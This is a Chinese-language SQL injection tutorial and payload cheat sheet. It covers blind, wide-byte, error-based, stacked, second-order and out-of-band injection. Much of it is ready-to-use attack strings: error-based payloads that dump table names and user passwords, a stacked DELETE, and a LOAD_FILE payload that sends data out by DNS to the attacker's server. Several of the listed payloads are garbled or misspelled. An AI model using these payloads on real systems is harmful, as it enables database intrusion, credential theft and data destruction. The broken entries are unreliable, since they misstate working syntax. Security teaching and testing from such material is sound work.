SQL注入( SQL injection )是一种将恶意代码插入到程序 SQL 语句中,从而误导数据库执行恶意逻辑的攻击技术。通过 SQL 注入,攻击者可以达到获取敏感信息,窃取访问权限等目的。
攻击原理
数据库应用经常需要根据用户输入内容拼接 SQL 语句并提交数据库执行,这就给黑客留下了可乘之机。黑客可以按照 SQL 语法精心构造输入内容,从而篡改 SQL 语句的原有结构,以到达自己不可告人的目的。
举个例子,假设有一个投标报价系统,报价表 bids 结构如下:
字段名 | 类型 | 说明 |
---|---|---|
id | INT | 主键 |
project_no | VARCHAR | 项目编号 |
bidder_id | INT | 投标人ID |
price | DECIMAL | 投标价格 |
bidded_time | DATETIME | 投标时间 |
为了确保公平,每个用户只能看到自己的报价记录,但不能看别人的报价。系统提供了一个报价查询功能,可以按时间查询自己的报价记录,SQL 语句大致如下:SELECT * FROM bids WHERE bidder_id="{}" AND bidded_time>="{}" AND bidded_time<="{}";
假设系统采用字符串格式化方式拼接 SQL 语句,将 3 个参数依次拼接花括号处:
- 当前用户_ID_,系统从当前登录会话中取得;
- 开始时间,由用户输入,并通过 HTML 表单上传;
- 结束时间,由用户输入,并通过 HTML 表单上传;
第一个参数由系统自行提供,通常是可信的;而后两个用户输入,存在 SQL 注入隐患。假设 ID 为 iiii 的用户输入的结束时间为 " OR “”=" ,那拼接出来的 SQL 变成:SELECT * FROM bids WHERE bidder_id="iiii" AND bidded_time>="ssss" AND bidded_time<="" OR ""="";
由于用户输入的结束时间中包含带有 SQL 语法的字符,格式化出来的 SQL 已经面目全非。
SQL 语句的原意是查询投标人等于当前用户且时间在指定范围的报价记录,现在被 OR 了一个永远为真的条件 “”=“” ,因而将无差别地返回所有报价记录。
换句话讲,黑客通过 SQL 注入成功窃取其他人的报价,他将取得上帝视角般的优势。
这就是 SQL 注入攻击的基本原理:通过精心构造的带有 SQL 语法的特殊输入,篡改 SQL 语句的原有结构,从而诱导数据库执行恶意代码。如果数据库应用 SQL 语句构造不当,比如采用字符串格式化方式,就会有 SQL 注入风险。
SQL注入的本质
注入攻击的本质: 把用户输入的数据当做代码执行。
两个关键条件:
第一个是用户能够控制输入
第二个是原本程序要执行的代码,拼接了用户输入的数据然后进行执行
针对SQL语句的注入,也可以理解为用户输入的数据当做SQL语句的代码执行
SQL注入的分类
- 数字型注入
- 字符型注入
- 基于时间的注入
- 布尔注入
- 盲注
- 宽字节注入
- 报错注入
- 堆叠注入
- 二次注入
- 带外注入
- XML的SQL注入
SQL注入的步骤
- 检测是否存在SQL注入点
- 判断是否存在SQL注入的可能 ,是否存在WAF
- 存在那种类型的SQL注入 ,绕过Waf的方法
- 使用工具进行跑数据库名 或者 手工进行注入获取数据库的数据
SQL注入分类的一个简单了解
数字型
判断是否是数字型的方法 看报错的语句
有时候 id=1 id=2
返回正常 ,但是输入字符 返回错误 ,我们就会以为是字符型的sql注入
在Mysql中,一般id是数值型,则以下错误日志应为:
Error Code: 1064. You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to
use near ‘’’ at line 1 0.000 sec
若id是字符型,则以下错误日志应为:
Error Code: 1064. You have an error in your SQL syntax;check the manual that
corresponds to your MySQL server version for the right syntax to
use near ‘‘1’’’ at line 1 0.016 sec
字符型
和上面判断方法一样
一般都是字符型的sql注入 ,使用不同符号进行测试 ' " ') ") !~@#$%^&*()
这些字符进行测试
基于时间的一个SQL注入
时间注入是盲注入的一种,利用的场景是当目标无法使用布尔盲注获得数据可以使用这种基于时间延迟的注入
基于时间的盲注和基于bool的盲注很相似,只不过基于时间的盲注用于不管执行的SQL语句正确与否,页面都不会给任何提示,因此无法使用bool盲注。基于时间的盲注经常用到的函数有延时函数sleep(),if(c,a,b),如果c为真执行a,否则执行b。
利用语法
select if(length(database())>1,sleep(5),0)
这里的意思是数据名的长度如果大于1就延时5秒返回结果
布尔注入
什么是布尔盲注,在平常我们在网页输入SQL语句网页会给我们关于SQL语句的回显,比如SQL错报信息,我们根据这些错报信息去进行SQL注入,但你们有没有想过,如果当我们传入语句网站不会给我们回显时,我们该怎么办呢,这时我们引入布尔注入的概念,即通过一些判断语句来确认数据库的内部信息
?id=1' and 1=2-- - //页面显示异常
?id=1' and 1=1-- - //页面正常显示
发现注入点 且 并没有报错 不是显错注入
可能会存在布尔注入
布尔注入中常用到的函数
length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进 行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
例子:?id=1'and (length(database()))>8 --+
判断数据库名字长度是否大于8,正确返回TRUE,错误返回FALSE。
这种sql注入比较繁琐 ,建议一般使用工具和脚本进行测试
宽字节注入
宽字节注入应用背景
- 在php中存在一个addslashes()函数。
- 该函数的作用:
- 在预定义字符(预定义字符包括:单引号、双引号、反斜杠、NULL)之前添加反斜杠进行转义,并返回处理完毕后的字符串。
- 所谓的转义是指:预定义字符在加上反斜线之后,就已经不具备其原有的语法功能了(即:预定义字符就仅仅是一个普通的字符串了)
- 该函数经常用于处理由 GET、POST 和 COOKIE 三种方式接收的数据,以便规范用户的输入,预防sql注入。
相关函数:
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符
mysql_escape_string() 转义一个字符串
宽字节注入原理:
先了解一下什么是窄、宽字节已经常见宽字节编码:
● 当某字符的大小为一个字节时,称其字符为窄字节.
● 当某字符的大小为两个字节时,称其字符为宽字节.
● 所有英文默认占一个字节,汉字占两个字节
● 常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等
在使用PHP连接MySQL的时候,当设置“set character_set_client = gbk”时会导致一个编码转换的问题,也就是我们熟悉的宽字节注入,当存在宽字节注入的时候,注入参数里带入%DF%27,即可把(%5C)吃掉,http://www.baidu.com/index.php?id=1
- 当提交 ?id=1’ and 1=1%23 时,MySQL运行的SQL语句为
- select * from user where id =‘1’ and 1=1#’
- 很明显这是没有注入成功的,而当我们提交 id=1%df’ and 1=1%23 时,MySQL运行的SQL语句就变为了
- select * from user where id =‘1運’ and 1=1#’
这里的宽字节注入是利用MySQL的一个特性,MySQL在使用GBK编码的时候,由于GBK是多字节编码,会认为两个字节代表一个汉字(前一个ASCII码要大于128,才到汉字的范围),所以%DF和后面的\也就是%5c中变成了一个汉字“運”,从而使单引号逃逸了出来。
报错注入
报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的。简单点说,就是在可以进行sql注入的位置,调用特殊的函数执行,利用函数报错使其输出错误结果来获取数据库的相关信息
可以利用报错注入的前提:就是页面有错误信息显示出来,去执行一些函数导致在回显的错误信息里面有我们直接sql 语句的回显数据
报错注入的种类
BigInt等数据类型溢出
函数参数格式错误
主键/字段重复
常用的函数
updatexml():是mysql对xml文档数据进行查询和修改的xpath函数
extractvalue():是mysql对xml文档数据进行查询的xpath函数
floor():mysql中用来取整的函数
exp():此函数返回e(自然对数的底)指数X的幂值
updatexml
updatexml函数的作用就是改变(查找并替换)xml文档中符合条件的节点的值
语法:updatexml(xml_document,XPthstring,new_value)
第一个参数是字符串
第二个参数是指定字符串中的一个位置(Xpath格式的字符串)
第三个参数是将要替换成什么
Xpath定位必须是有效的,否则则会发生错误。我们就能利用这个特性爆出我们想要的数据
Payload:' or updatexml(0,concat(0x7e,select database()),1)'
extractvalue
extractvalue()函数的作用是从目标xml中返回包含所查询值的字符串
extractvalue (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为doc
第二个参数:XPath_string(Xpath格式的字符串)
Xpath定位必须是有效的,否则则会发生错误
用法其实跟updatexml一样
Payload:' or extracrvalue(0,concat(0x7e,database())) or '
floor
floor()
floor是mysql的一个取整函数
payload:
Select count(*),concat(**PAYLOAD**,floor(rand(0)*2))**x** from 表名 group by **x**;
爆库' and (select 2 from (select count(*),concat(database(),floor(rand(0)*2)) x from information_schema.tables group by x) a)and '
爆表 ' and (select 2 from (select count(*),concat((select table_name from information_schema.tables where table_schema='pikachu' limit 3,1),floor(rand(0)*2)) x from information_schema.tables group by x) a)and '
爆列 ' and (select 2 from (select count(*),concat((select column_name from information_schema.columns where table_name='users' limit 1,1),floor(rand(0)*2)) x from information_schema.tables group by x) a)and '
爆内容 ' and (select 2 from (select count(*),concat((select concat(':',username,password) from users limit 0,1),floor(rand(0)*2)) x from information_schema.tables group by x) a)and '
exp
exp函数
当传递一个大于709的值时,函数exp()就会引起一个溢出错误。
' or EXP(~(SELECT * from(select version())a)) or '
爆表' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema = 'pikachu')a)) or '
爆列' or exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_name = 'users')a)) or '
爆数据 ' or wzp(~(select * from(select password from users limit 0,1)a)) or '
12种SQL报错注入语句
1、通过floor报错,注入语句如下:
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);sql复制代码
2、通过extractvalue报错,注入语句如下:
and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3、通过updatexml报错,注入语句如下:
and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );
5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
6、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c);
7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );
8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );
9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );
10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );
11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );
12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
堆叠注入
Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。
union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句
例子:Select * from test where id=1;DELETE FROM test
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
局限性
堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,
利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行。
二次注入
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者即使对用户输入的恶意数据进行转义,当数据插入到数据库中时被处理的数据又被还原,Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
注入条件:
两次注入分别是插入恶意数据、利用恶意数据
- 用户向数据库插入恶意数据,即使后端对语句做了转义,如mysql_escape_string、mysql_real_escape_string等函数
- 数据库能够将恶意数据取出
例子参考 :
https://www.freebuf.com/articles/web/167089.html
https://blog.csdn.net/qq_32465127/article/details/79814049
带外注入
有时候注入发现并没有回显,也不能利用时间盲注,那么就可以利用带外通道,也就是利用其他协议或者渠道,如http请求、DNS解析、SMB服务等将数据带出。
带外注入条件
. mysql.ini 中 secure_file_priv 必须为空
( ps. 修改mysql.ini 文件,在[mysqld] 下加入 secure_file_priv = )
:::tips
mysql 新版本下secure-file-priv字段 : secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
:::
payload
SELECT LOAD_FILE(CONCAT(‘\\’,( SELECT DATABASE() ),‘.xx.xx\x));
其中的load_file的地址为一个远程文件,mysql在load_file()一个远程文件时会发送dns请求包去解析,所以可以带出数据,’\data.xx.xx\x’ ,xx.xx为自己的服务器名
SQL注入常用函数
substr() | 截取字符 |
---|---|
mid() | 截取字符 |
database() | 当前数据库 |
ord()与ascii() | 字符与ASCII互转 |
limit() | 控制查询位置 |
length() | 探测字段长度 |
into outfile() into dumpfile | 写文件 |
@@basedir() | mysql安装路径 |
数据库相关
:::info
- database() — 返回当前数据库名
- @@datadir — 读取数据库路径
- @@basedir — 读取数据库安全路径
- @@version_compile_os — 返回当前操作系统
:::
UDF相关
- version() || @@version — 返回MySQL服务器的版本
- show variables like “%plugin%”; — 查看mysql插件路径
- show variables like ‘%version_%’; — 查看系统版本、位数
用户相关
- User() || System_user() — 用户名
- Current_Uere() — 当前登陆用户名
- Session_User() — 连接数据库的用户名
- Connection_id() — 返回当前客户的连接ID
Hash
:::success
- md5()
- password() — 登录密码用这个函数加密后存入表中
:::
other
:::warning
- Found_Rows() — 返回最后一个SELECT查询进行检索的总行数
- Benchmark(count,expr) — 将表达式expr重复运行count次
- sleep() 延迟时间
:::
文件读写函数
- into dumpfile()
- into outfile()
- load_file()
- system cat /test.php
- system vim /test.php
字符串函数
- length() 返回字符串的字节数
- char_length() 返回的才是字符数
- locate(sub_str,string)
- position(sub_str in string)
- instr(str,sub_str)
base64加解密
:::danger
- to_base64()
- from_base64()
:::
判断字符所在位置
- find_in_set(sub_string,str_set)
- field(s,str1,str2,…,strN)
- elt(n,str1,str2,…,strN)
合并
- concat()
- concat_ws()
转换
:::info
- lower(string)
- upper(string)
- left(string,x)
- right(string,x)
- cast()
- convert()
:::